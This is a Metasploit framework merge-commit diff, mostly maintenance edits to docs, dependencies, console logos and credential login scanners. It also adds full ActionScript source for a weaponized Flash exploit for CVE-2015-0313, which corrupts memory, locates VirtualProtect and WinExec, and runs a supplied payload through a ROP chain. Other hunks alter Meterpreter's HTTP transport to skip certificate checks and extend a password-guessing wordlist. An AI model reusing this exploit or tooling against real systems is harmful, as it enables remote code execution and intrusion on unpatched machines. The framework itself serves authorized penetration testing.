Merge branch 'master' into staging/rails-4.0

Conflicts:
	Gemfile.lock
	db/schema.rb
	lib/msf/core/db_manager/session.rb
	metasploit-framework-db.gemspec
bug/bundler_fix
Matt Buck 2015-04-06 11:26:42 -05:00
commit 5e2d6c27c3
No known key found for this signature in database
GPG Key ID: 42134E0C9C4E94BB
325 changed files with 7600 additions and 2221 deletions

12
.gitignore vendored
View File

@ -67,17 +67,7 @@ external/source/exploits/**/Release
# Avoid checking in Meterpreter binaries. These are supplied upstream by
# the meterpreter_bins gem.
data/meterpreter/elevator.*.dll
data/meterpreter/ext_server_espia.*.dll
data/meterpreter/ext_server_extapi.*.dll
data/meterpreter/ext_server_incognito.*.dll
data/meterpreter/ext_server_kiwi.*.dll
data/meterpreter/ext_server_lanattacks.*.dll
data/meterpreter/ext_server_mimikatz.*.dll
data/meterpreter/ext_server_priv.*.dll
data/meterpreter/ext_server_stdapi.*.dll
data/meterpreter/metsrv.*.dll
data/meterpreter/screenshot.*.dll
data/meterpreter/*.dll
# Avoid checking in Meterpreter libs that are built from
# private source. If you're interested in this functionality,

View File

@ -4,8 +4,8 @@ Thanks for your interest in making Metasploit -- and therefore, the
world -- a better place!
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker].
Please try to be as specific as you can about your problem, include steps
to reproduce (cut and paste from your console output if it's helpful), and
Please try to be as specific as you can about your problem; include steps
to reproduce (cut and paste from your console output if it's helpful) and
what you were expecting to happen.
Are you about to report a security vulnerability in Metasploit itself?
@ -18,7 +18,7 @@ Metasploit module? If so, read on...
# Contributing to Metasploit
What you see here in CONTRIBUTING.md is a bullet-point list of the do's
What you see here in CONTRIBUTING.md is a bullet point list of the do's
and don'ts of how to make sure *your* valuable contributions actually
make it into Metasploit's master branch.
@ -27,7 +27,7 @@ closed. Sorry!
This is intended to be a **short** list. The [wiki] is much more
exhaustive and reveals many mysteries. If you read nothing else, take a
look at the standard [development environment setup] guide,
look at the standard [development environment setup] guide
and Metasploit's [Common Coding Mistakes].
## Code Contributions
@ -52,7 +52,7 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
#### New Modules
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up.
- Even better would be to set up `msftidy.rb` as a [pre-commit hook].
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
* **Don't** include more than one module per pull request.
@ -80,11 +80,11 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
* **Do** report vulnerabilities in Rapid7 software directly to security@rapid7.com.
* **Do** write a detailed description of your bug and use a descriptive title.
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
* **Don't** file duplicate reports - search for your bug before filing a new report.
* **Don't** file duplicate reports; search for your bug before filing a new report.
If you need some more guidance, talk to the main body of open
source contributors over on the [Freenode IRC channel]
or e-mail us at [metasploit-hackers] mailing list.
source contributors over on the [Freenode IRC channel],
or e-mail us at the [metasploit-hackers] mailing list.
Also, **thank you** for taking the few moments to read this far! You're
already way ahead of the curve, so keep it up!
@ -92,7 +92,7 @@ already way ahead of the curve, so keep it up!
[Issue Tracker]:http://r-7.co/MSF-BUGv1
[PGP key]:http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D
[wiki]:https://github.com/rapid7/metasploit-framework/wiki
[scripts]: https://github.com/rapid7/metasploit-framework/tree/master/scripts
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
[development environment setup]:http://r-7.co/MSF-DEV
[Common Coding Mistakes]:https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
[Ruby style guide]:https://github.com/bbatsov/ruby-style-guide
@ -104,10 +104,10 @@ already way ahead of the curve, so keep it up!
[PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940
[PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb
[API]:https://rapid7.github.io/metasploit-framework/api/
[RSpec]:http://rspec.info/
[Better Specs]:http://betterspecs.org/
[YARD]:http://yardoc.org/
[API]:https://rapid7.github.io/metasploit-framework/api
[RSpec]:http://rspec.info
[Better Specs]:http://betterspecs.org
[YARD]:http://yardoc.org
[Issues]:https://github.com/rapid7/metasploit-framework/issues
[Freenode IRC channel]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
[metasploit-hackers]:https://lists.sourceforge.net/lists/listinfo/metasploit-hackers

View File

@ -56,7 +56,7 @@ PATH
bcrypt
jsobfu (~> 0.2.0)
json
meterpreter_bins (= 0.0.16)
meterpreter_bins (= 0.0.17)
msgpack
nokogiri
packetfu (= 1.1.9)
@ -152,7 +152,7 @@ GEM
json (1.8.2)
mail (2.6.3)
mime-types (>= 1.16, < 3)
meterpreter_bins (0.0.16)
meterpreter_bins (0.0.17)
method_source (0.8.2)
mime-types (2.4.3)
mini_portile (0.6.2)

View File

@ -3,7 +3,7 @@ Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.pn
The Metasploit Framework is released under a BSD-style license. See
COPYING for more details.
The latest version of this software is available from https://metasploit.com/
The latest version of this software is available from: https://metasploit.com
Bug tracking and development information can be found at:
https://github.com/rapid7/metasploit-framework
@ -20,8 +20,8 @@ Questions and suggestions can be sent to:
Installing
--
Generally, you should use [the free installer](https://www.metasploit.com/download)
which contains all dependencies and will get you up and running with a
Generally, you should use [the free installer](https://www.metasploit.com/download),
which contains all of the dependencies and will get you up and running with a
few clicks. See the [Dev Environment Setup](http://r-7.co/MSF-DEV) if
you'd like to deal with dependencies on your own.
@ -34,10 +34,10 @@ resources](https://metasploit.github.io), or the [wiki].
Contributing
--
See the [Dev Environment Setup][wiki-devenv] guide on GitHub which will
walk you through the whole process starting from installing all the
See the [Dev Environment Setup][wiki-devenv] guide on GitHub, which will
walk you through the whole process from installing all the
dependencies, to cloning the repository, and finally to submitting a
pull request. For slightly more info, see
pull request. For slightly more information, see
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).

Binary file not shown.

35
data/logos/pony-01.aftxt Normal file
View File

@ -0,0 +1,35 @@
 _________________________________________________ 
< This console just got 20% cooler >
 ------------------------------------------------- 
/
/ 
▀▄▄▄▄▄▄▄▄ / 
▀▀▄▄▄▄▄█▄▄▄▄ / 
▄███▄▄▄▄██▄██ / 
▄██▄█▄▄█▄▄██▄███ / 
▄██▄█████▄██▄▄█▄▄ / 
▄███████▄██▄▀▀▄▄██ / 
██████████▄▄▄ ██▄█ / 
██▄███▄███ ▀▀ ████ / 
▀███▄███▄▀ ███ / 
▀ ████▄▀ █▄█ / 
██▄▀█ ▄▄▄▄▄▄▄▄ / 
▀▄█ ▀ ▄▄█▄██████▄▄ / 
▀█ ███▄█████████ / 
▄███▄▄█████████ / 
███████▄██████▄▀ / 
█████▄▄█████████ 
▄▄███▄▀ █▄███████ ▄▄▄▄▄▄▄▄▄ 
▄▄█████ ▄█▄██▄████▄█▄█▄▄██▄▄██▄█▀ 
▀▄██▄▀▄▄▄███▄▄███▄██▄▄███▄▄███▄▄▄ 
▀▀ ▄███████████████▄▄▄██▄▄███▀▄ 
████▄█████████▄▄▄▄▄█▄▄▄▄▄███ 
███████▄█████▄▄████▄▄██▄██▀▄██ 
▀▀▄▄██████▄██████▄▄▄████▄▄ ▀▀▀ 
▄▄██████████▄▄█▄▄▄▄▄██▄▄▄ 
██▄█████████▄▄▄██████████ 
▀▀ █▄████ ███▄█▄▄▄▄▄▄▄▀▀ 
▄▄████ ████▄██ 
▀▄████ ██▄███ 
▀▄▄▀ ██▀█▀▀ 
█ 

31
data/logos/pony-02.aftxt Normal file
View File

@ -0,0 +1,31 @@
 __________________ 
< Shells are cool. >
 ------------------ 
\ 
\ 
\ 
\ 
\ ▄▄▄▄▄▄▄▄▄ 
███████████ 
▄▄██████████ 
▄▄███████████▄▄ 
▄███████████▄▄▄█▄▄ 
▄▄██▄▄▄▄▄▄▄▄▄███▄▄█▄▄ 
▄▄████▄▄███████████████ 
████████▄▄▄▄█████████▄▀ 
███████▄███▄▄████████ 
▄▄▄███████▄█▄█████████▄▀ ▄▄▄▄▄▄ 
▀▄▄███████▄▄▄███████▄▀ ▄▄██████▄▄█▀ 
▀▄▄▄██████▄█████▄▀ ▄▄███████████▄ 
▀▀▀▀▀▀█▄███▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀▄██████▄▄
███▄▄█▄██████████▄▄ █████▄▄█
▄███▄█████████▄█▄██ ▄▄████ ▀
▀▀▄██████████▄▄▄▄▀ ▀▀ ██▄▀ 
█████▄▄▄▄█▄███▄▄ █▄▀ 
██████ ▀▄▄██████ ▀ 
▄▄▄████ ████████ 
███████ █████████ 
▄█▄▄█████ █████████ 
█▄███████ █▄▄███████ 
█▄▄▄▄▄█ █▄▄▄▄▄█ 


27
data/logos/pony-03.aftxt Normal file
View File

@ -0,0 +1,27 @@
 ______________________________ 
< I love SHELLS! >
 ------------------------------ 
\ 
\ 
\ 
▄▄██▄█▄▄▄▄ 
▄▄█████▄▄▄▄█▄▄ 
▄▄▄██████████▄▄▄▀ 
██▄▄█▄▄▄▄█▄▄█▄█ 
██▄▄▄████▄▄▄████ 
▄▄████▄▄▄██▄█▄▄▀ 
▄▄▄▄▄▄▄▄▄▄ ██▄█▄▄██▄▄▄▄▄██▄▄█
▄▄▄▄▄▄▄▄▄▄▄▄▄▄ █▄▄▄██▄█████▄▄▄▀▀ 
▄▄████▄▄▄▄▄▄▄▄▄▄ ██▄▄▄▄███████▄▄▄ 
█████▄▄▄▄▄▀▀▄▄▄▄▄▄██▄▄▄█▄███▄█▀▀▀ 
████▄█▄█ █▄██▄▄█▄▄▄██▄███ 
▀▄▄▄▄█▄▄▄ ██▄█▄██▄▄▄▄▄█▄███ 
▀▄██▄▄██▄█ ██▄█▄██▄█▄▄█████ 
█▄█▄███▄▄█ ████▄▄█▄▄▄██▄█ 
▄██ ███▄██▄███ ▄▄▄█▄▄▄█▀▀██████ 
▀▄▄█▄█▄▄█▄██▀▀▀ ▄▄██▄▄██ ██████ 
▀▄▄▀██▄▄▀▀▀ ▄▄█████▄▀ ▄▄█████ 
▀▀▀ ▄▄███████ ███████ 
▄▄███▄▄██ ▄▄███████ 
██████▀▀▀ ▀▄████▀▀▀ 
▀▀▀▀▀▀ ▀▀▀ 

29
data/logos/pony-04.aftxt Normal file
View File

@ -0,0 +1,29 @@
 ____________________________________ 
< My Little Pwny: Exploits are Magic >
 ------------------------------------ 
\ 
\ 
\ 
▄▄▄▄▄▄▄▄▄▄ 
▄▄█████████▄▄▄▄▄▄▄ 
█▄▄▄████████▄▄▄▄████
█▄▄▄██▄█████▄████████
▄▄▄██████▄▄▄▄▄▄▄▄▄██▄▀ 
████▄████▄▄▄▄▄▄██▄▄█▄▄ 
██████████████████████ 
▀▄███▄███▄██▄▄▄████▀▀ 
▄▄▄▄▄▄▄▄▄ ▀▄██▄▄██▄▄█▄▄▄▄███▄ 
▄▄█████████▄▄ ▀█▄█████▄█▄▄▄█▄███ 
███████▄▀▀▀▄█▄▄ ▄▄█▄▄█▄▄█▄▄▄▄▄▄▀▀ 
████████ ▀▄▄▄▄▄███▄██▄▄▄██ 
████████ ▄▄ ▄▄█████▄▄▄▄██████ 
████████▄▄██ ███████████████▄▀ 
▀▄██████▄▄▄▀ ▀▄████████████▄▀ 
▄▄████▄▄██ ▄███▄█▄▄▄▄██▄██ 
█████████▄▀ █████▄▄▀ ██████ 
███▄███▀▀ ███████ ███▄▄▄▄ 
▀▄▄▄▀ ████████ ███████ 
████████ ████▄▄██▄ 
██████▄▄█ ██████▄▄█ 
█▄▄▄▄█ █▄▄▄▄█ 


24
data/logos/pony-05.aftxt Normal file
View File

@ -0,0 +1,24 @@
 ______________________ 
< FREE SHELLS FOREVER!!! >
 ---------------------- 
\ 
\ ▄██▄▄▄ ▄▄▄ 
\ ███▄▄█▄▄▄▄▄▄▄▄▄ 
▄▄▄███▄▄██▄██████▄▄ 
▄▄▄▄█▄▄██▄▄▄▄▄▄▄▄█▄████ 
████▄▄██▄▄██▄▄▄█▄██▄████ ▄█▄▄▄▄ 
████ █▄██▄▄███▄▄▄█▄▄▄██ ▄▄▄▄▄▄█▄█▄▄▄█▄▄ 
███ ██████████▄██████ ██▄▄▄▄█▄▄▄██████ 
▀▄██ ▄█▄▄█▄████▄▄█▄▄▄█▄▄▄▄█▄▄█████▄▄████████ 
▀█ ███▄██████████▄▄███▄██▄▄██████▄▄███████ 
▄▀ ▀▀█▄▄▄▄▄███▄▄▄▄▄▄▄██▄███▄███▄▄██████▄▀ 
▀ ██▄▄██▄▄█▄▄▄▄▄▄▄ ▀▀▄▄█▄▄▄███▄▄ 
█████▄▄█▄▄███▄▄▄█ ████▄▄███▄▄
█▄▄█▄▄▄▄▄█▄██▄▄█ ███▄█▄▄▄█▄██
▄▄▄█▄█████▄████ ▀▄█████▄▄██▀
▄█▄▄▄▄███▀▄█▄████▄█ ▀▄█▄▄███ ▄
▄▄██▄██▄▄▄▀█▄███▄██▄▀ ▄▄█▄█▄▄█
█▄██████ ███▄▄███▄▀ ▀▄▄▄▄▀▀ 
██████ ▀▀███████ 
▀▀▀▀▀▀ ▀▀▀▀▀▀ 


View File

@ -264,7 +264,7 @@ def tlv_pack(*args):
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
else:
value = tlv['value']
if sys.version_info[0] < 3 and isinstance(value, __builtins__['unicode']):
if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode':
value = value.encode('UTF-8')
elif not is_bytes(value):
value = bytes(value, 'UTF-8')
@ -393,11 +393,17 @@ class PythonMeterpreter(object):
print(msg)
def driver_init_http(self):
opener_args = []
scheme = HTTP_CONNECTION_URL.split(':', 1)[0]
if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)):
import ssl
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
ssl_ctx.check_hostname=False
ssl_ctx.verify_mode=ssl.CERT_NONE
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
if HTTP_PROXY:
proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY})
opener = urllib.build_opener(proxy_handler)
else:
opener = urllib.build_opener()
opener_args.append(urllib.ProxyHandler({scheme: HTTP_PROXY}))
opener = urllib.build_opener(*opener_args)
if HTTP_USER_AGENT:
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
urllib.install_opener(opener)

View File

@ -1002,3 +1002,4 @@ sq!us3r
adminpasswd
raspberry
74k&^*nh#$
arcsight

View File

@ -3,6 +3,7 @@
// 2. Be support to support 16.0 as target-player (flex-config.xml).
// 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 5. Build with: mxmlc -o msf.swf Main.as
// Original code by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/

207
external/source/exploits/CVE-2015-0313/Main.as vendored Executable file
View File

@ -0,0 +1,207 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Be support to support 16.0 as target-player (flex-config.xml).
// 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 5. Build with: mxmlc -o msf.swf Main.as
// Original code by @hdarwin89 // http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/
// Modified to be used from msf
package
{
import flash.display.Sprite
import flash.display.LoaderInfo
import flash.events.Event
import flash.utils.ByteArray
import flash.system.Worker
import flash.system.WorkerDomain
import flash.system.MessageChannel
import flash.system.ApplicationDomain
import avm2.intrinsics.memory.casi32
import mx.utils.Base64Decoder
public class Main extends Sprite
{
private var ov:Vector.<Object> = new Vector.<Object>(25600)
private var uv:Vector.<uint> = new Vector.<uint>
private var ba:ByteArray = new ByteArray()
private var worker:Worker
private var mc:MessageChannel
private var b64:Base64Decoder = new Base64Decoder()
private var payload:String = ""
public function Main()
{
if (Worker.current.isPrimordial) mainThread()
else workerThread()
}
private function mainThread():void
{
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
payload = b64.toByteArray().toString()
ba.length = 0x1000
ba.shareable = true
for (var i:uint = 0; i < ov.length; i++) {
ov[i] = new Vector.<Object>(1014)
ov[i][0] = ba
ov[i][1] = this
}
for (i = 0; i < ov.length; i += 2) delete(ov[i])
worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
mc = worker.createMessageChannel(Worker.current)
mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage)
worker.setSharedProperty("mc", mc)
worker.setSharedProperty("ba", ba)
ApplicationDomain.currentDomain.domainMemory = ba
worker.start()
}
private function workerThread():void
{
var ba:ByteArray = Worker.current.getSharedProperty("ba")
var mc:MessageChannel = Worker.current.getSharedProperty("mc")
ba.clear()
ov[0] = new Vector.<uint>(1022)
mc.send("")
while (mc.messageAvailable);
ov[0][0] = ov[0][0x403] - 0x18 - 0x1000
ba.length = 0x500000
var buffer:uint = vector_read(vector_read(ov[0][0x408] - 1 + 0x40) + 8) + 0x100000
var main:uint = ov[0][0x409] - 1
var vtable:uint = vector_read(main)
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 8)
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 16, 0xffffffff)
mc.send(ov[0][0].toString() + "/" + buffer.toString() + "/" + main.toString() + "/" + vtable.toString())
}
private function onMessage(e:Event):void
{
casi32(0, 1022, 0xFFFFFFFF)
if (ba.length != 0xffffffff) mc.receive()
else {
ba.endian = "littleEndian"
var data:Array = (mc.receive() as String).split("/")
byte_write(parseInt(data[0]))
var buffer:uint = parseInt(data[1]) as uint
var main:uint = parseInt(data[2]) as uint
var vtable:uint = parseInt(data[3]) as uint
var flash:uint = base(vtable)
var ieshims:uint = module("winmm.dll", flash)
var kernel32:uint = module("kernel32.dll", ieshims)
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
var winexec:uint = procedure("WinExec", kernel32)
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
//CoE
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
byte_write(buffer+0x200, payload);
byte_write(buffer + 0x20070, xchgeaxespret)
byte_write(buffer + 0x20000, xchgeaxesiret)
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x30000)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x100)
// WinExec
byte_write(0, buffer + 0x30000)
byte_write(0, buffer + 0x200)
byte_write(0)
byte_write(main, buffer + 0x20000)
toString()
}
}
private function vector_write(addr:uint, value:uint = 0):void
{
addr > ov[0][0] ? ov[0][(addr - uv[0]) / 4 - 2] = value : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1] = value
}
private function vector_read(addr:uint):uint
{
return addr > ov[0][0] ? ov[0][(addr - ov[0][0]) / 4 - 2] : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1]
}
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
ba.position = addr + entry
if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
ba.position = addr + entry
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

View File

@ -79,7 +79,7 @@ class Metasploit::Framework::CredentialCollection
# Adds a string as an addition private credential
# to be combined in the collection.
#
# @param [String] :private_str the string to use as a private
# @param [String] private_str the string to use as a private
# @return [void]
def add_private(private_str='')
additional_privates << private_str
@ -88,7 +88,7 @@ class Metasploit::Framework::CredentialCollection
# Adds a string as an addition public credential
# to be combined in the collection.
#
# @param [String] :public_str the string to use as a public
# @param [String] public_str the string to use as a public
# @return [void]
def add_public(public_str='')
additional_publics << public_str

View File

@ -24,12 +24,19 @@ module Metasploit
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Result]
def attempt_login(credential)
result_opts = { credential: credential }
result_opts = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT,
proof: nil,
host: host,
port: port,
protocol: 'tcp'
}
begin
status = try_login(credential)
result_opts.merge!(status)
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
end

View File

@ -83,7 +83,7 @@ module Metasploit
else
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
end
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
ensure
cli.close

View File

@ -183,7 +183,7 @@ module Metasploit
status = try_glassfish_3(credential)
result_opts.merge!(status)
end
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
end

View File

@ -187,13 +187,66 @@ module Metasploit
error_message
end
# Sends a HTTP request with Rex
#
# @param [Hash] opts native support includes the following (also see Rex::Proto::Http::Request#request_cgi)
# @option opts [String] 'host' The remote host
# @option opts [Fixnum] 'port' The remote port
# @option opts [Boolean] 'ssl' The SSL setting, TrueClass or FalseClass
# @option opts [String] 'proxies' The proxies setting
# @option opts [Credential] 'credential' A credential object
# @option opts ['Hash'] 'context' A context
# @raise [Rex::ConnectionError] One of these errors has occured: EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
# @return [Rex::Proto::Http::Response] The HTTP response
# @return [NilClass] An error has occured while reading the response (see #Rex::Proto::Http::Client#read_response)
def send_request(opts)
rhost = opts['host'] || host
rport = opts['rport'] || port
cli_ssl = opts['ssl'] || ssl
cli_ssl_version = opts['ssl_version'] || ssl_version
cli_proxies = opts['proxies'] || proxies
username = opts['credential'] ? opts['credential'].public : ''
password = opts['credential'] ? opts['credential'].private : ''
realm = opts['credential'] ? opts['credential'].realm : nil
context = opts['context'] || { 'Msf' => framework, 'MsfExploit' => framework_module}
res = nil
cli = Rex::Proto::Http::Client.new(
rhost,
rport,
context,
cli_ssl,
cli_ssl_version,
cli_proxies,
username,
password
)
configure_http_client(cli)
if realm
cli.set_config('domain' => credential.realm)
end
begin
cli.connect
req = cli.request_cgi(opts)
res = cli.send_recv(req)
rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
raise Rex::ConnectionError, e.message
ensure
cli.close
end
res
end
# Attempt a single login with a single credential against the target.
#
# @param credential [Credential] The credential object to attempt to
# login with.
# @return [Result] A Result object indicating success or failure
def attempt_login(credential)
result_opts = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT,
@ -209,32 +262,13 @@ module Metasploit
result_opts[:service_name] = 'http'
end
http_client = Rex::Proto::Http::Client.new(
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version,
proxies, credential.public, credential.private
)
configure_http_client(http_client)
if credential.realm
http_client.set_config('domain' => credential.realm)
end
begin
http_client.connect
request = http_client.request_cgi(
'uri' => uri,
'method' => method
)
response = http_client.send_recv(request)
response = send_request('credential'=>credential, 'uri'=>uri, 'method'=>method)
if response && response.code == 200
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response.headers)
end
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
rescue Rex::ConnectionError => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
ensure
http_client.close
end
Result.new(result_opts)
@ -322,7 +356,7 @@ module Metasploit
# Combine the base URI with the target URI in a sane fashion
#
# @param [String] The target URL
# @param [String] target_uri the target URL
# @return [String] the final URL mapped against the base
def normalize_uri(target_uri)
(self.uri.to_s + "/" + target_uri.to_s).gsub(/\/+/, '/')

View File

@ -50,7 +50,7 @@ module Metasploit
else
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
end
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
end
Result.new(result_opts)

View File

@ -27,44 +27,9 @@ module Metasploit
end
# Sends a HTTP request with Rex
#
# @param (see Rex::Proto::Http::Request#request_raw)
# @raise [Rex::ConnectionError] Something has gone wrong while sending the HTTP request
# @return [Rex::Proto::Http::Response] The HTTP response
def send_request(opts)
res = nil
cli = Rex::Proto::Http::Client.new(host, port,
{
'Msf' => framework,
'MsfExploit' => framework_module
},
ssl,
ssl_version,
proxies
)
configure_http_client(cli)
begin
cli.connect
req = cli.request_cgi(opts)
res = cli.send_recv(req)
rescue ::Errno::EPIPE, ::Timeout::Error => e
# We are trying to mimic the same type of exception rescuing in
# Msf::Exploit::Remote::HttpClient. But instead of returning nil, we'll consistently
# raise Rex::ConnectionError so the #attempt_login can return the error message back
# to the login module.
raise Rex::ConnectionError, e.message
ensure
cli.close
end
res
end
# Returns the latest sid from Symantec Web Gateway.
#
# @returns [String] The PHP Session ID for Symantec Web Gateway login
# @return [String] The PHP Session ID for Symantec Web Gateway login
def get_last_sid
@last_sid ||= lambda {
# We don't have a session ID. Well, let's grab one right quick from the login page.
@ -130,7 +95,14 @@ module Metasploit
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Result] A Result object indicating success or failure
def attempt_login(credential)
result_opts = { credential: credential }
result_opts = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT,
proof: nil,
host: host,
port: port,
protocol: 'tcp'
}
begin
result_opts.merge!(get_login_state(credential.public, credential.private))

View File

@ -44,7 +44,7 @@ module Metasploit
untested_payloads_pathname = Pathname.new 'log/untested-payloads.log'
if untested_payloads_pathname.exist?
tool_path = 'tools/missing-payload-tests.rb'
tool_path = 'tools/missing_payload_tests.rb'
$stderr.puts "Untested payload detected. Running `#{tool_path}` to see contexts to add to " \
"`spec/modules/payloads_spec.rb` to test those payload ancestor reference names."

View File

@ -323,9 +323,9 @@ class Meterpreter < Rex::Post::Meterpreter::Client
nhost = find_internet_connected_address
original_session_host = self.session_host
# If we found a better IP address for this session, change it up
# only handle cases where the DB is not connected here
if !(framework.db && framework.db.active)
# If we found a better IP address for this session, change it
# up. Only handle cases where the DB is not connected here
if nhost && !(framework.db && framework.db.active)
self.session_host = nhost
end
@ -461,6 +461,8 @@ protected
# @see Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config#get_routes
# @return [String] The address from which this host reaches the
# internet, as ASCII. e.g.: "192.168.100.156"
# @return [nil] If there is an interface with an address that matches
# {#session_host}
def find_internet_connected_address
ifaces = self.net.config.get_interfaces().flatten rescue []
@ -497,7 +499,9 @@ protected
end
if !nhost
# Find the first non-loopback address
